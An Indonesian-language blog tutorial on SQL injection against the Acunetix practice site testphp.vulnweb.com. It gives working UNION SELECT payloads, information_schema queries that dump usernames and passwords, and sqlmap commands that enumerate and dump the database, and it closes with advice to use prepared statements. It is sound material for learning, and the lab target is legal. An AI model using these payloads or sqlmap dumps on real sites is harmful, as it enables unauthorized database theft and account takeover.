Belajar SQL Injection: Dari Manual Hingga Otomatis (Lab: testphp.vulnweb.com)

BELAJAR SQL INJECTION: DARI MANUAL HINGGA OTOMATIS (LAB: TESTPHP.VULNWEB.COM)

Halo semua! Setelah sekian lama nggak update, kali ini saya mau berbagi catatan belajar tentang salah satu celah keamanan paling legendaris: SQL Injection (SQLi). 


Kita akan menggunakan lab latihan dari Acunetix yaitu: http://testphp.vulnweb.com.
Ingat, tutorial ini hanya untuk tujuan edukasi dan pentesting legal ya!

1. MENCARI PINTU MASUK (RECONNAISSANCE)

Langkah pertama adalah mencari URL yang berkomunikasi langsung dengan database. Biasanya ditandai dengan adanya parameter ID di akhir URL.
Contoh:

- http://testphp.vulnweb.com/listproducts.php?cat=1
- http://testphp.vulnweb.com/product.php?pic=1

Kenapa? Karena parameter ini biasanya digunakan oleh backend untuk mengambil data dari tabel database. Website statis (seperti .html) biasanya lebih aman dari serangan jenis ini.

2. TESTING: MEMATAHKAN STRUKTUR QUERY


Setelah nemu target, kita coba tambahkan tanda petik tunggal (') di akhir ID untuk memicu error (syntax break).

Contoh: listproducts.php?cat=1'

Kenapa tanda petik? Karena dalam database, tanda petik harus berpasangan (pembuka dan penutup). Kalau kita tambahin satu di akhir, strukturnya jadi ganjil dan SQL-nya akan error.
Yang dicari: Pesan error yang spesifik. Kalau error-nya muncul, berarti pintunya "terbuka" (Vulnerable). Kalau halamannya cuma blank, itu namanya Blind SQL Injection (materi tingkat lanjut).


3. MENCARI JUMLAH KOLOM (ORDER BY)

Setelah tahu pintunya terbuka, kita perlu tahu ada berapa "kamar" (kolom) di dalam database tersebut menggunakan perintah ORDER BY.

Contoh: product.php?cat=1 ORDER BY 10-- -



Cara menentukannya:

- Coba angka 10, kalau halaman normal, berarti kolom ada 10 atau lebih.
- Coba angka 12, kalau halaman error/blank, berarti kolom kurang dari 12.
- Jika di angka 12 error dan di angka 11 normal, maka jumlah kolom fix adalah 11.



4. MENCARI "NOMOR AJAIB" (VULNERABLE COLUMN)

Kita perlu tahu kolom nomor berapa yang hasilnya muncul di halaman website menggunakan perintah UNION SELECT.

Contoh (jika kolom ada 11):

product.php?cat=-1 union select 1,2,3,4,5,6,7,8,9,10,11-- -

Trik Penting: Ubah ID menjadi negatif (cat=-1). Ini dilakukan supaya query asli server kosong, sehingga database dipaksa menampilkan hasil dari query UNION kita. Lihat angka yang muncul di layar (misal angka 7 dan 11). Itulah "nomor ajaib" kita.


5. EKSPLOITASI: DUMPING DATA (DIOS - DUMP IN ONE SHOT)

Gunakan nomor ajaib tadi untuk menyuntikkan perintah (query) untuk mengintip isi database.


- Mencari Nama Tabel:
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())


- Mencari Nama Kolom (Misal pada tabel 'users'):
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')


- Mengambil Data (Username & Password):
(SELECT group_concat(uname,0x3a,pass) FROM users)



Setelah ketemu username dan password-nya, tinggal cari halaman login admin dan boom! Kita bisa masuk ke sistem.

   disini saya sudah menemukan halaman loginnya yaitu http://testphp.vulnweb.com/login.php, dan saya langsung masukkin username test dan password test tadi yang sudah ditemukan.


dan boom, kita sudah bisa masuk ke systemnya dengan kredensial tadi, dan disini di cek masuk sebagai user bernama relax😂.


6. PENGGUNAAN TOOLS SQLMAP (OTOMATIS)



Nah, setelah kita bahas cara manual yang lumayan ribet, sebenarnya ada cara yang jauh lebih praktis. Yup, ada versi otomatisnya juga buat eksploitasi SQLi, yaitu menggunakan tools sakti bernama SQLmap.


Tool ini biasanya sudah bawaan kalau lo pakai Kali Linux. Buat yang belum punya, bisa install dulu lewat terminal:

sudo apt-get install sqlmap -y

Kalau masih bingung perintahnya apa saja, tinggal panggil bantuan:
sqlmap -h

- Melihat Database:

sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" --dbs

- Melihat Tabel dalam Database (Misal DB: acuart):
sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart --tables

- Melihat Kolom dalam Tabel (Misal Tabel: users):
sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart -T users --columns

- Dump Data Username dan Password:

sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart -T users -C "uname,pass" --dump

KESIMPULAN

SQL Injection terjadi karena input dari user tidak difilter dengan baik. Cara terbaik mencegahnya adalah dengan menggunakan Prepared Statements (Parameterized Queries) agar input user tidak dianggap sebagai perintah SQL.


Stay safe dan gunakan ilmu ini dengan bijak!